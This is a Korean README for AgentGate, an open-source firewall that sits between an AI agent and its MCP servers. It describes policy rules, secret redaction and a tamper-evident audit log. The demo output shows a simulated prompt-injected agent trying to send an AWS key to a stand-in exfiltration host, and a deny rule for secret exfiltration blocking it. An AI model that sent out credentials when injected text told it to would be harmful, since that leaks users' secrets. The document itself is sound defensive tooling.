AgentGate

AI 에이전트를 위한 오픈소스 방화벽. AgentGate는 MCP 클라이언트(예: Claude Code)와 그 클라이언트가 통신하는 다운스트림 MCP 서버 사이에 위치하여, 모든 도구 호출을 사용자가 제어하는 정책에 따라 평가하고, 발생한 일에 대한 변조 방지 감사 추적을 유지합니다.

차단된 공격, 처음부터 끝까지

프롬프트 인젝션된 에이전트가 AWS 키를 HTTP로 유출하려고 시도합니다. AgentGate는 이를 거부하고, 키가 디스크에 닿기 전에 편집하며, 검증 가능한 감사 추적을 기록합니다 — 모두 실제 체크인된 정책 및 게이트웨이 코드에서 비롯된 것이지, 목업이 아닙니다:

Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.

Tool called: network.request
Target URL:  https://evil-exfil.example.com/collect

Gateway Response: {
  content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
  isError: true
}
Step 1 — Policy decision: ✅ DENIED

Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.

Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).

직접 실행: node examples/secret-exfiltration/demo.mjs (데모 및 검증 참조).

Related MCP server: Proofpane

프로젝트 상태

초기 개발 / 연구 품질 MVP. AgentGate는 실제 정책 엔진, 실제 MCP stdio 프록시, 실제 변조 방지 감사 저장소, 실제 Control Center UI를 구현하며, 모두 실행 가능한 테스트와 종단 간 공격 데모로 검증됩니다 (docs/VERIFICATION.md 참조). 프로덕션 환경에 적합하지 않습니다: 시작 시 생성되는 로컬 토큰 외에는 인증이 없고, 다중 사용자 지원이 없으며, 재생(replay) 방지가 없고, MCP 프로토콜 지원은 현재 레거시 2025 시대 stdio 전용입니다 (지원 통합 참조). 민감한 작업에 의존하기 전에 docs/THREAT_MODEL.md를 읽으십시오.

5분 퀵스타트

Node.js 20+ 및 pnpm 필요 (.nvmrc / package.json의 packageManager 참조). 아래 모든 것은 저장소 로컬입니다 — 게시된 npm 패키지가 필요하지 않습니다.

git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build

# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml

# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.yml

게이트웨이는 시작 시 로컬 Control Center URL과 일회용 인증 토큰을 stderr에 출력합니다. URL을 열고, 프롬프트가 표시되면 토큰을 붙여넣고, MCP 클라이언트(예: Claude Code)를 다운스트림 서버를 직접 가리키는 대신 게이트웨이의 stdio 명령을 가리키도록 설정하십시오. 전체 안내는 docs/QUICKSTART.md를 참조하십시오. 개발 모드에서 Control Center를 실행하는 방법도 포함됩니다.

AgentGate의 위치

 MCP client              AgentGate gateway                 Downstream MCP server
(Claude Code, …)  ─────▶  stdio proxy → policy engine  ─────▶  (filesystem, network, …)
                              │                 │
                              ▼                 ▼
                         audit storage     Control Center
                          (SQLite,          (local web UI,
                        hash-chained)      loopback only)

AgentGate는 양쪽에서 MCP를 사용합니다: MCP 클라이언트에게는 서버이고, 실제 다운스트림 MCP 서버에게는 클라이언트입니다. 전달하는 모든 도구 호출은 이미 평가되었으며, 모든 결정 — 허용, 거부, 편집, 또는 인간 승인 대기 — 은 호출이 실제 서버에 도달하기 전(또는 도달하지 못하도록 차단되기 전)에 기록됩니다. 전체 시퀀스 다이어그램은 docs/ARCHITECTURE.md를 참조하십시오.

핵심 기능

• 정책 엔진 — 에이전트, 도구, 경로, 명령, 호스트 및 비밀 콘텐츠로 매칭되는 선언적 YAML 규칙; 첫 번째 매치가 우선; 안전한 기본 거부.

• 네 가지 결정 유형 — allow, deny, require_approval (인간 개입, TTL 제한, 일회용), allow_with_transform (특정 필드 편집 후 전달).

• 심층 비밀 편집 — AWS/GitHub/OpenAI/Anthropic 키 패턴, 베어러 토큰, 개인 키 헤더, DB 연결 문자열이 감지되어 결정과 관계없이 모든 저장된 감사 기록에서 편집됩니다.

• 변조 방지 감사 추적 — 모든 이벤트는 SQLite의 SHA-256 해시 체인, 추가 전용 레코드입니다; agentgate audit verify는 체인을 독립적으로 다시 검증합니다.

• Control Center — 로컬, 루프백 전용 웹 UI: 실시간 SSE 타임라인, 승인 대기열, 편집 및 해시 체인 표시가 포함된 이벤트별 상세, 현재 로드된 정책.

• 경로 탐색 방어 — 경로 인수는 매칭 또는 저장 전에 정규화됩니다 (../. 해석, 구분자 통일).

예제 정책

version: 1

defaults:
  decision: deny

rules:
  - id: allow-project-reads
    description: Allow reading files inside the project root.
    agents: ["claude-code"]
    tools: ["read_file", "list_directory"]
    paths: ["${PROJECT_ROOT}/**"]
    decision: allow

  - id: approve-file-writes
    description: Require approval before writing any file.
    tools: ["write_file", "create_directory"]
    decision: require_approval
    approval_ttl_seconds: 120

  - id: block-secret-exfiltration
    description: Block network requests that appear to carry secrets or API keys.
    tools: ["network.*", "fetch", "http_request"]
    contains_secrets: true
    decision: deny

전체 필드 참조, 매칭 의미론 및 작업 예제: docs/POLICY_REFERENCE.md.

CLI

agentgate start [config.yml]     # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml]  # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config]  # Independently re-verify the tamper-evident audit chain

agentgate는 pnpm run build 후 packages/gateway/dist/cli.js입니다 (아직 npm에 게시되지 않음 — 프로젝트 상태 참조). 저장소 루트에서 node packages/gateway/dist/cli.js <command>로 실행하거나, packages/gateway 내부에서 워크스페이스 bin을 통해 실행하십시오.

Control Center

로컬 전용 React UI로, 개발 중에는 Vite로 제공되며 게이트웨이 YAML에 구성된 control_port에서 접근할 수 있습니다:

• 개요 — 실시간 위험 표시기, 허용/거부/대기 수, 최근 고위험 이벤트.

• 타임라인 — Server-Sent Events를 통한 실시간으로 가로채인 모든 도구 호출.

• 승인 — 대기 중인 require_approval 요청, TTL 만료까지 카운트다운; 거부가 시각적으로 기본 작업입니다.

• 이벤트 상세 — 전체 결정 추적, 편집된 인수, 해시 체인에서 이벤트의 위치.

• 정책 — 현재 로드된 정책 파일 및 결정 유형 참조 (이 마일스톤에서는 읽기 전용).

시작 시 게이트웨이의 stderr에 출력되는 무작위 시작 토큰으로 인증하며, x-agentgate-token 헤더 또는 SSE 스트림의 token 쿼리 매개변수로 전송됩니다. 이것이 보호하는 것과 보호하지 않는 것에 대해서는 보안 모델을 참조하십시오.

지원 통합

오늘 최신 시대 또는 HTTP 전송 지원이 필요하다면 AgentGate는 아직 적합하지 않습니다 — 상태는 ADR-0005를 추적하십시오.

보안 모델 및 제한 사항

AgentGate는 에이전트 ID를 신뢰할 수 없음으로 취급합니다: declared_name/declared_version은 자체 보고되며 표시 전용이고, 권한 부여에는 절대 사용되지 않습니다 (verified_identity는 항상 false). 정책 결정은 도구 이름, 정규화된 경로, 명령, 호스트 및 감지된 비밀 콘텐츠에서만 이루어집니다.

감사 체인이 증명하는 것과 증명하지 않는 것: 각 감사 레코드의 SHA-256 해시는 이전 레코드의 해시를 포함하므로, 과거 레코드를 조용히 편집하거나 삭제하면 체인이 깨지고 agentgate audit verify가 이를 감지합니다. 이는 변조 방지이지 변조 불가능이 아니며, 부인 방지 보장을 제공하지 않습니다 — SQLite 데이터베이스에 파일 시스템 접근 권한이 있는 로컬 관리자는 전체 파일을 교체하고 처음부터 자체 일관된 체인을 재생성할 수 있습니다. 외부 앵커링은 없습니다. 전체 모델(간접 프롬프트 인젝션, 악성 다운스트림 서버, 승인 재생, 이 마일스톤에서 아직 완화하지 않는 서비스 거부 위험 포함)은 docs/THREAT_MODEL.md를 참조하십시오.

아키텍처

구성 요소 책임, 시스템 및 시퀀스 다이어그램, 감사 데이터 모델 및 신뢰 경계: docs/ARCHITECTURE.md.

데모 및 검증

node examples/secret-exfiltration/demo.mjs   # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test                                # unit/integration tests (policy + gateway)
pnpm run lint                                # type-aware lint gate across the whole workspace

데모 및 테스트 스위트가 주장하는 모든 것은 docs/VERIFICATION.md에서 교차 검증됩니다.

개발 및 기여

워크스페이스 레이아웃, 게이트웨이 및 Control Center를 로컬에서 실행, 정책 규칙 및 테스트 추가: docs/DEVELOPMENT.md. 기여 프로세스, PR에 대한 보안 영향 기대치 및 결정 원장 규칙: CONTRIBUTING.md. 취약점을 발견하셨나요? SECURITY.md를 참조하십시오 — 공개 이슈를 열지 마십시오.

라이선스

Apache License 2.0.